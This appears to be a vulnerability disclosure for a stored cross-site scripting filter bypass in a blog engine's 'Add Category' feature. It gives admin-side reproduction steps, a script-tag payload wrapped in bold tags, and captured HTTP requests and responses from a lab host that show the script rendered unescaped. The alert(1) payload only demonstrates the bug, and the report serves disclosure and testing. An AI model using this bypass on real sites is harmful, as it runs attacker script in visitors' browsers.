Description
Stored XSS Filter Bypass #1 - "Add Category"
Steps to Reproduce:
- Login as admin and go to "Content" > "Posts"
- On the right side of the page choose "Categories"
- In "Title" and "Description" paste the following payload <b>12345</b><script>alert(1)</script><b>12345=</b>
// HTTP PUT request
PUT /blogengine/api/posts/update/foo HTTP/1.1
Host: 192.168.58.153:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
[...]
[...]
// HTTP response
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Sat, 14 Dec 2024 15:34:08 GMT
Content-Length: 0
// HTTP GET request
GET /blogengine/post/2024/12/14/xss HTTP/1.1
Host: 192.168.58.153:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
[...]
// HTTP response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.5
x-pingback: http://192.168.58.153:8080/blogengine/pingback.axd
Content-Style-Type: text/css
Content-Script-Type: text/javascript
X-Powered-By: ASP.NET
Date: Sat, 14 Dec 2024 15:44:05 GMT
Content-Length: 19229
[...]
<span class="post-category"><a href="/blogengine/category/<b>12345<b><script>alert(1)<script><b>12345=<b>"><b>12345</b><script>alert(1)</script><b>12345=</b></a></span></div></header>
[...]